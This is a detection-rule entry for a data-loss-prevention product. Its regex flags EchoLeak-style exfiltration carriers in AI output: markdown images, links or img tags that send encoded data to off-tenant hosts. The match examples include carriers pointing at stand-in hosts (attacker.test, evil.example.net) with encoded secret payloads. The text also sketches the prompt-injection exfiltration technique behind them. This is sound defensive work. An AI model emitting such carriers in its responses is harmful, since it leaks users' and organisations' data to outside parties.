AI Data-Exfiltration Marker
Detects data-exfiltration carriers in AI/LLM output: markdown images or links and HTML img tags whose URL points off-tenant and carries an encoded data payload in the path or query. This is an EchoLeak-style (cf. CVE-2025-32711) generic markdown/HTML exfiltration-carrier marker - it flags the carrier shape, not the full CVE mechanism (which also involves XPIA evasion and a Teams proxy/CSP bypass).
- Type
- regex
- Engine
- universal
- Confidence
- high
- Confidence justification
- High/precision-gated: fires on outbound content, so tuned for low FP. Requires an external host plus a long encoded payload; corporate-host and test-text exclusions remove the named FP traps.
- Detection quality
- Verified
- Jurisdictions
- global
- Regulations
- OWASP LLM Top 10 2025, NIST AI RMF GenAI Profile
- Frameworks
- ISO 27001
- Data categories
- emerging, security
- Risk rating
- 7
- Platform compatibility
- Purview: Compatible, GCP DLP: Compatible, Macie: Compatible, Zscaler: Compatible, Palo Alto: Compatible, Netskope: Compatible
Pattern
!\[[^\]]*\]\(\s*https?://[^)\s]+[?#&][^)\s]*=[^)\s]{16,}\)
Corroborative evidence keywords
image, link, markdown, render, [object Object], artificial intelligence, [object Object], large language model, Copilot, chatbot, assistant, agent, prompt, system prompt, tool call, completion, model
Proximity: 300 characters
Should match
— Markdown image to external host with long base64-like query payloadCopilot completion: — AI-context marker plus unapproved-host carrier with long encoded payload (enforces at 75)<img src="https://attacker.test/p?x=QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVo">— HTML img tag to external host with encoded payload[ref]: https://evil.example.net/c?d=eyJzZWNyZXQiOiJsZWFrZWQtdmFsdWUtMTIzNDU2Nzg5In0— Reference-style markdown link definition off-tenant with long encoded payload
Should not match
— SharePoint deep link (corporate host, no data payload)— Analytics URL with short, non-data parameter— Long signed query on an approved corporate host with no AI context — discovery only, must not enforceQuarterly sales report: regional revenue increased 8 percent; no links or embedded images are included.— Ordinary business prose with no outbound markdown/HTML carrierCopilot rendered — Fifteen payload characters remain below the authored 16-character floorTraining example for EchoLeak: — Quoted training carrier with no AI-context marker — discovery only, must not enforce
Known false positives
- Legitimate markdown images or links to external CDNs or documentation hosts that carry long cache-busting or signed-URL query strings (e.g. AWS presigned URLs, CDN asset hashes) resembling encoded payloads. Mitigation: Maintain an allow-list of trusted asset/CDN hosts (extend Keyword_corporate_hosts) and require AI-context corroboration before raising confidence; the 65 regex-only tier is advisory.
- Security-research, training, or detection-engineering content that quotes EchoLeak-style exfiltration carriers verbatim as examples. Mitigation: Exclude documents containing example/test markers (example.com, PLACEHOLDER) via the existing TextMatchFilter and gate on AI-context markers absent in prose discussion.